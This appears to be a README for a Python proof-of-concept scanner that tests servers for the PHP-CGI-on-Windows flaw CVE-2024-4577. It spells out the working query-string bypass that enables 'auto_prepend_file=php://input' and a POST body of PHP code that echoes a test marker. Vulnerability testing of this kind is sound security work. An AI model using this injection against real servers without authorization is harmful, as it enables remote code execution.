CVE-2024-4577 Vulnerability Test Script

This Python script is a simple Proof of Concept (PoC) tool for diagnosing the latest PHP vulnerability CVE-2024-4577.

⚠️ This tool is provided for security assessment purposes and should only be used on systems you own or targets with prior authorization.

📌 Overview

This vulnerability occurs when PHP runs in CGI mode on Windows, allowing arbitrary PHP configuration injection and code execution through multibyte character bypass.

This script sends a query string-based bypass payload and PHP code via POST request to the target URL to determine if it is vulnerable.

✅ Usage

1. Verify Python Installation

python3 --version

2. Install Dependencies

pip install requests

3. Run the Script

python3 cve_2024_4577_test.py

4. Enter Target URL

Example input:

http://192.168.0.10/index.php

Or simply enter the root path, it will be processed automatically

http://192.168.0.10

🔍 Result Explanation

• ✅ [✅] Vulnerable: Server executed PHP code.
  → The server is vulnerable.

• ✔️ [✔️] Not vulnerable or blocked
  → Response received but no exploitation occurred.

• ❌ [❌] Request failed: ...
  → Test failed due to connection error, timeout, etc.

💡 How It Works

• Inject bypass string:

  root@kitploit:~

  ?%ADd+allow_url_include=1+%ADd+auto_prepend_file=php://input
  

• Inject PHP code in POST body:

  root@kitploit:~

  <?php echo 'CVE-2024-4577-TEST'; ?>
  

• If the server executes this code, the response will contain the string, allowing detection.

⚠️ Disclaimer

This script is provided for educational and security research purposes only. Scanning or testing unauthorized systems is illegal. Users assume all responsibility.

📂 File Structure

📫 Contact

For bug reports or suggestions, please contact via email or pull request.

📝 License

This project is licensed under the MIT License - see the LICENSE file for details. Copyright (c) 2025 KimJuhyeong95